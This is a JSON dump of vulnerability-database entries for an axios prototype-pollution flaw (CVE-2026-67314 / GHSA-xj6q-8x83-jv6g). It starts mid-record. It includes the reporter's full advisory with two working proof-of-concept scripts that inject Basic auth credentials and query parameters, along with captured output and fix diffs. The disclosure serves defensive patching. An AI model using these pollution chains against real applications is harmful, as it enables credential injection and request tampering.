responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n  requires a separate prototype-pollution primitive elsewhere in the\n  host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n  PR #10833 were framed too, so the precedent for \"in-scope as a\n  hardening fix\" is established.\n\u003c/details\u003e","status":"published","published":"2026-07-20T17:51:17Z","modified":"2026-08-07T17:52:12Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:40:57.999375Z"}],"nvd":[{"id":"CVE-2026-67314","description":"axios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","status":"published","published":"2026-08-01T13:17:01.407Z","modified":"2026-09-01T15:40:20.437Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:34.290716Z"}],"osv":[{"id":"CVE-2026-67314","title":"axios before 1.18.0 Prototype Pollution via auth subfields","description":"axios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","status":"published","published":"2026-08-01T12:22:16.603Z","modified":"2026-10-28T02:30:38.882251591Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:45:14.46177Z"},{"id":"DEBIAN-CVE-2026-67314","description":"axios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","status":"published","published":"2026-08-01T13:17:01.407Z","modified":"2026-10-01T03:03:31.885176241Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T15:46:01.68444Z"},{"id":"GHSA-38gx-cfqf-f652","title":"Duplicate Advisory: Axios: Prototype pollution auth subfields can inject Basic auth","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-xj6q-8x83-jv6g. This link is maintained to preserve external references.\n\n## Original Description\naxios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","status":"withdrawn","published":"2026-08-01T15:30:27Z","modified":"2026-09-10T03:51:12.812762Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:35.406455Z"},{"id":"GHSA-xj6q-8x83-jv6g","title":"Axios: Prototype pollution auth subfields can inject Basic auth","description":"## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n  const username = configAuth.username || '';\n  const password = configAuth.password || '';\n  auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n  headers.set(\n    'Authorization',\n    'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n  );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log({\n    url: req.url,\n    authorization: req.headers.authorization || null\n  });\n\n  res.end('{}');\n  server.close(() =\u003e {\n    delete Object.prototype.username;\n    delete Object.prototype.password;\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n    auth: {}\n  });\n});\n```\n\nExpected output:\n\n```json\n{\n  \"url\": \"/api\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic \u003cbase64\u003e` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth');         // ← top-level guard OK\nif (configAuth) {\n    const username = configAuth.username || '';   // ← reads .username on the inherited chain\n    const password = configAuth.password || '';   // ← reads .password on the inherited chain\n    auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth');               // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n//   ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n    buildFullPath(baseURL, url, allowAbsoluteUrls),\n    config.params,            // ← direct read, not through own()\n    config.paramsSerializer   // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n  for (const k of PROTO_KEYS) {\n    try { delete Object.prototype[k]; } catch (_) {}\n  }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n  \"constructor\": {\n    \"prototype\": {\n      \"username\": \"victim-user\",\n      \"password\": \"victim-password-leaked\",\n      \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n    }\n  }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n//   After this line:\n//     Object.prototype.username  === \"victim-user\"\n//     Object.prototype.password  === \"victim-password-leaked\"\n//     Object.prototype.params    === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) =\u003e {\n  console.log('=== captured outbound request ===');\n  console.log(JSON.stringify({\n    method: req.method,\n    url: req.url,\n    authorization: req.headers.authorization || null,\n  }, null, 2));\n  res.end('{}');\n  server.close();\n  scrub();\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n  const port = server.address().port;\n\n  // 4) Realistic application wrapper: optional per-call overrides.\n  //    `auth: opts.auth || {}` is the common pattern — empty own object,\n  //    but inherited values walk the prototype chain.\n  function makeRequest(targetUrl, opts = {}) {\n    return axios.get(targetUrl, {\n      timeout: 5000,\n      auth: opts.auth || {},\n      params: opts.params || {},\n    });\n  }\n\n  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) =\u003e {\n    console.error('axios error:', e.message);\n    scrub();\n    process.exit(1);\n  });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc \u0026\u0026 cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n  request. If the request URL is attacker-influenced too (common in\n  webhook/oauth-callback patterns), the credentials flow directly to\n  the attacker. If not, they flow to the legitimate destination but\n  expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n  `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n  function, axios will execute that function with each `params`\n  invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n  precondition is \"deep-merges attacker JSON into a config object\n  without `__proto__`/`constructor` filtering, then uses the empty-\n  fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n  Both halves are very common in real codebases (we tested\n  `defaults-deep`, hand-rolled merges, and several lodash-family\n  utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n  Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n       const configAuth = own('auth');\n       if (configAuth) {\n-        const username = configAuth.username || '';\n-        const password = configAuth.password || '';\n+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n         auth = username + ':' + password;\n       }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n   // HTTP basic authentication\n   if (auth) {\n+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n     headers.set(\n       'Authorization',\n       'Basic ' +\n-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n     );\n   }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n  findings. The bundle's public tracking entry (without the working\n  exploit chain) is at\n  [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n  prefer to fold this into open PR #10922 (whose author is actively\n  responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n  requires a separate prototype-pollution primitive elsewhere in the\n  host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n  PR #10833 were framed too, so the precedent for \"in-scope as a\n  hardening fix\" is established.\n\u003c/details\u003e","status":"published","published":"2026-07-20T17:51:17Z","modified":"2026-09-10T03:51:12.57180317Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"RHSA-2026:48758","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-07-31T10:15:16Z","modified":"2026-10-20T10:10:04Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:49714","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-08-05T10:37:10Z","modified":"2026-10-20T10:10:16Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50826","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-08-06T10:14:09Z","modified":"2026-10-20T10:10:31Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"UBUNTU-CVE-2026-67314","description":"axios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","status":"published","published":"2026-08-01T13:17:00Z","modified":"2026-09-03T16:04:44.69250036Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T16:56:53.710209Z"},{"id":"CLSA-2026-1790767846","title":"TuxCare security update for axios (10 CVEs)","description":"TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.16.0-tuxcare.1.","status":"published","published":"2026-09-30T11:30:46Z","modified":"2026-10-15T09:47:41.990250033Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792139363","title":"TuxCare security update for axios (9 CVEs)","description":"TuxCare rebuilt axios to address 9 CVEs. Fixed in 1.17.0-tuxcare.2.","status":"published","published":"2026-10-16T08:29:23Z","modified":"2026-10-16T12:15:02.196579621Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792476444","title":"TuxCare security update for axios (10 CVEs)","description":"TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.16.1-tuxcare.2.","status":"published","published":"2026-10-20T06:07:24Z","modified":"2026-10-20T07:15:16.144778941Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"openSUSE-SU-2026:12070-1","title":"velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media","description":"These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-06T00:00:00Z","modified":"2026-10-07T17:23:11.433086957Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"ROOT-APP-NPM-CVE-2026-67314","title":"CVE-2026-67314 in axios - Patched by Root","description":"Root has patched CVE-2026-67314 in the axios package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-06T11:11:35Z","modified":"2026-10-06T12:15:03.908943785Z","updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"ROOT-APP-NPM-GHSA-38gx-cfqf-f652","title":"GHSA-38gx-cfqf-f652 in axios - Patched by Root","description":"Root has patched GHSA-38gx-cfqf-f652 in the axios package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-06T11:11:35Z","modified":"2026-10-06T12:15:06.720361017Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-xj6q-8x83-jv6g","title":"GHSA-xj6q-8x83-jv6g in axios - Patched by Root","description":"Root has patched GHSA-xj6q-8x83-jv6g in the axios package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-06T11:13:03Z","modified":"2026-10-06T12:15:07.423606793Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}